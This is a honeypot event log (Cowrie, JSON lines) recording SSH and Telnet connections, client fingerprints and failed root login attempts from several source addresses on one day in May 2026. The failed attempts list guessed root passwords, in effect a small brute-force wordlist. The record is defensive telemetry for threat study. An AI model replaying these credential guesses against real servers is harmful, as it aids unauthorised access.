{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13974,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f7f27e7d20","protocol":"ssh","message":"New connection: 38.93.206.2:13974 (10.17.0.5:22) [session: 09f7f27e7d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:40.222554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:40.227421Z","src_ip":"38.93.206.2","session":"09f7f27e7d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:40.309976Z","src_ip":"38.93.206.2","session":"09f7f27e7d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geibcnbr","message":"login attempt [root/geibcnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:40.467234Z","src_ip":"38.93.206.2","session":"09f7f27e7d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:41.520987Z","src_ip":"38.93.206.2","session":"09f7f27e7d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4157497882843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:52.914664Z","src_ip":"152.42.224.71","session":"789ddfd3e580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53550,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f16324e3da","protocol":"telnet","message":"New connection: 152.42.224.71:53550 (10.17.0.5:23) [session: 23f16324e3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:59.679039Z"}
{"eventid":"cowrie.session.closed","duration":43.94969868659973,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:11.200425Z","src_ip":"152.42.224.71","session":"f68c8a90180c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":43386,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee880482dde2","protocol":"ssh","message":"New connection: 171.244.201.80:43386 (10.17.0.5:22) [session: ee880482dde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:13.042460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:13.051520Z","src_ip":"171.244.201.80","session":"ee880482dde2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:13.289061Z","src_ip":"171.244.201.80","session":"ee880482dde2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"esadmin","message":"login attempt [root/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:14.268459Z","src_ip":"171.244.201.80","session":"ee880482dde2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.341981172561646,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:14.992992Z","src_ip":"152.42.224.71","session":"90fb597da783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.92006969451904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:15.289219Z","src_ip":"152.42.224.71","session":"c03b68cf8f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:15.509192Z","src_ip":"171.244.201.80","session":"ee880482dde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40458,"dst_ip":"10.17.0.5","dst_port":23,"session":"adca9794b898","protocol":"telnet","message":"New connection: 152.42.224.71:40458 (10.17.0.5:23) [session: adca9794b898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:17.281264Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fbe80342235","protocol":"telnet","message":"New connection: 152.42.224.71:40472 (10.17.0.5:23) [session: 1fbe80342235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:17.838211Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b389079024cf","protocol":"telnet","message":"New connection: 152.42.224.71:48756 (10.17.0.5:23) [session: b389079024cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:33.267718Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35770,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c38ebe603d","protocol":"telnet","message":"New connection: 152.42.224.71:35770 (10.17.0.5:23) [session: 50c38ebe603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:44.672276Z"}
{"eventid":"cowrie.session.closed","duration":45.32369375228882,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:45.002636Z","src_ip":"152.42.224.71","session":"23f16324e3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47350,"dst_ip":"10.17.0.5","dst_port":23,"session":"998392488231","protocol":"telnet","message":"New connection: 152.42.224.71:47350 (10.17.0.5:23) [session: 998392488231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:50.706635Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":37412,"dst_ip":"10.17.0.5","dst_port":22,"session":"a715cb974446","protocol":"ssh","message":"New connection: 196.189.237.92:37412 (10.17.0.5:22) [session: a715cb974446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:56.199315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:56.203822Z","src_ip":"196.189.237.92","session":"a715cb974446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:56.372455Z","src_ip":"196.189.237.92","session":"a715cb974446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mongo123","message":"login attempt [root/mongo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:57.087196Z","src_ip":"196.189.237.92","session":"a715cb974446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.530376672744751,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:58.236902Z","src_ip":"152.42.224.71","session":"998392488231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:58.257053Z","src_ip":"196.189.237.92","session":"a715cb974446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.38381624221802,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:16:58.664935Z","src_ip":"152.42.224.71","session":"adca9794b898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87858319282532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:07.146174Z","src_ip":"152.42.224.71","session":"b389079024cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35628,"dst_ip":"10.17.0.5","dst_port":22,"session":"4034e1102925","protocol":"ssh","message":"New connection: 103.27.238.120:35628 (10.17.0.5:22) [session: 4034e1102925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:15.946150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:15.955842Z","src_ip":"103.27.238.120","session":"4034e1102925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:16.228500Z","src_ip":"103.27.238.120","session":"4034e1102925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666666666","message":"login attempt [root/6666666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:17.045253Z","src_ip":"103.27.238.120","session":"4034e1102925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:18.320644Z","src_ip":"103.27.238.120","session":"4034e1102925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53632,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a0a1c0d9a30","protocol":"ssh","message":"New connection: 103.153.68.219:53632 (10.17.0.5:22) [session: 7a0a1c0d9a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:29.691379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:29.696079Z","src_ip":"103.153.68.219","session":"7a0a1c0d9a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:29.944185Z","src_ip":"103.153.68.219","session":"7a0a1c0d9a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima123","message":"login attempt [root/dima123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:30.688405Z","src_ip":"103.153.68.219","session":"7a0a1c0d9a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:31.939370Z","src_ip":"103.153.68.219","session":"7a0a1c0d9a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60572,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a9cef25f0c","protocol":"ssh","message":"New connection: 51.250.105.222:60572 (159.203.135.109:22) [session: 71a9cef25f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:37.089723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:37.096874Z","src_ip":"51.250.105.222","session":"71a9cef25f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:37.226084Z","src_ip":"51.250.105.222","session":"71a9cef25f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maximus","message":"login attempt [root/maximus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:37.620333Z","src_ip":"51.250.105.222","session":"71a9cef25f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.009708642959595,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:37.681821Z","src_ip":"152.42.224.71","session":"50c38ebe603d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:38.753097Z","src_ip":"51.250.105.222","session":"71a9cef25f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":22496,"dst_ip":"10.17.0.5","dst_port":22,"session":"2257dd5b25b7","protocol":"ssh","message":"New connection: 171.244.201.80:22496 (10.17.0.5:22) [session: 2257dd5b25b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:46.037246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:46.042179Z","src_ip":"171.244.201.80","session":"2257dd5b25b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:46.287814Z","src_ip":"171.244.201.80","session":"2257dd5b25b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tcn","message":"login attempt [root/tcn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:47.295875Z","src_ip":"171.244.201.80","session":"2257dd5b25b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:17:48.545209Z","src_ip":"171.244.201.80","session":"2257dd5b25b7","protocol":"ssh"}
